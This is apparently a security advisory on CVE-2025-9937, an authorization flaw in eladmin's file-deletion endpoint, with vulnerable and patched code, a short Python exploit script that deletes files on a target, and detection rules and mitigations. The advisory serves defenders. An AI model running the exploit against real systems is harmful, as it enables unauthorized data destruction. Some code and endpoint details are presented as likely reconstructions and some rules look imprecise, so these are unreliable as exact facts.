CVE-2025-9937

Executive Summary

CVE-2025-9937 is a publicly disclosed improper authorization vulnerability in elunez eladmin version 1.1. The flaw resides in the LocalStorageController component, specifically within the deleteFile function. An attacker can exploit this vulnerability remotely to delete files without proper authorization, leading to potential data loss or service disruption. The CVSS score is 5.4 (Medium), and the exploit has been released to the public, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability affects the eladmin Java-based backend framework. As a Java application, it is typically distributed via JAR files or source code. There is no NPM, PyPI, Go, or Ruby package involved. However, organizations using eladmin should verify the integrity of their deployment artifacts and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs low-level access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No direct availability impact.

Threat Level: Medium. The public exploit and lack of patch make this a significant risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is an improper authorization (CWE-285) in the LocalStorageController.deleteFile endpoint. The controller likely fails to validate whether the authenticated user has permission to delete the specified file. An attacker with low privileges can send a crafted HTTP request to delete arbitrary files stored on the server's local storage.

The LocalStorageController is typically used for file management within the eladmin application. The deleteFile function accepts a file path or identifier and removes the corresponding file from the filesystem. Without proper authorization checks, any authenticated user can delete files belonging to other users or system files.

Attack Flow:

1. Attacker authenticates to the eladmin application with low-privileged credentials.
2. Attacker identifies the deleteFile endpoint (e.g., /api/localStorage/deleteFile).
3. Attacker sends a POST request with a file path parameter (e.g., filePath=/uploads/other_user_file.txt).
4. The server deletes the file without verifying ownership or permissions.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin 1.1):

// LocalStorageController.java
@PostMapping("/deleteFile")
public ResponseEntity deleteFile(@RequestParam String filePath) {
    File file = new File(filePath);
    if (file.exists()) {
        file.delete();
        return ResponseEntity.ok("File deleted");
    }
    return ResponseEntity.badRequest().body("File not found");
}

Patched Code (Hypothetical):

// LocalStorageController.java
@PostMapping("/deleteFile")
public ResponseEntity deleteFile(@RequestParam String filePath, Principal principal) {
    // Verify user has permission to delete this file
    if (!filePermissionService.canDelete(principal.getName(), filePath)) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Access denied");
    }
    File file = new File(filePath);
    if (file.exists()) {
        file.delete();
        return ResponseEntity.ok("File deleted");
    }
    return ResponseEntity.badRequest().body("File not found");
}

The patched version adds a permission check using a filePermissionService to ensure the authenticated user is authorized to delete the specified file.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Low-privileged credentials for the eladmin application.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Authenticate and obtain a session token.
2. Identify the deleteFile endpoint (e.g., /api/localStorage/deleteFile).
3. Send a POST request with the target file path.

Example Exploit (Python):

import requests

target_url = "http://target.com/api/localStorage/deleteFile"
session = requests.Session()
# Authenticate first
login_data = {"username": "attacker", "password": "password123"}
session.post("http://target.com/api/auth/login", json=login_data)

# Delete a file
file_path = "/uploads/important_document.pdf"
response = session.post(target_url, params={"filePath": file_path})
print(response.text)

Blue Team

Detection:

• Monitor for unusual file deletion requests to /api/localStorage/deleteFile.
• Alert on multiple deletion requests from a single user in a short time.
• Log all file deletion activities with user context.

Mitigation:

• Implement proper authorization checks as shown in the patched code.
• Restrict file deletion to specific roles (e.g., admin only).
• Use a whitelist of allowed file paths.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/localStorage/deleteFile with filePath parameter.
• Logs: Unauthorized file deletion attempts in application logs.
• Filesystem: Unexpected deletion of files in the uploads directory.
• User Agent: Any standard HTTP client (e.g., Python requests, curl).

Detection Engineering

YARA Rule

rule CVE_2025_9937_Eladmin_DeleteFile {
    meta:
        description = "Detects exploitation attempts of CVE-2025-9937 in eladmin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9937"
    strings:
        $s1 = "/api/localStorage/deleteFile" ascii wide nocase
        $s2 = "filePath=" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2025-9937 - Eladmin Unauthorized File Deletion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit improper authorization in eladmin LocalStorageController
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/localStorage/deleteFile'
    condition: selection
falsepositives:
    - Legitimate file deletion by authorized users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9937 - Eladmin Unauthorized File Deletion"; flow:to_server,established; content:"POST"; http_method; content:"/api/localStorage/deleteFile"; http_uri; content:"filePath="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the deleteFile endpoint if not required.
2. Implement proper authorization checks (see patched code).
3. Restrict file deletion to admin users only.
4. Monitor logs for suspicious file deletion activities.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Upgrade to a patched version of eladmin.
• Conduct a security audit of all endpoints for similar authorization flaws.

Workarounds:

• Use a web application firewall (WAF) to block requests to /api/localStorage/deleteFile from non-admin users.
• Implement file deletion audit logging.

Valters IT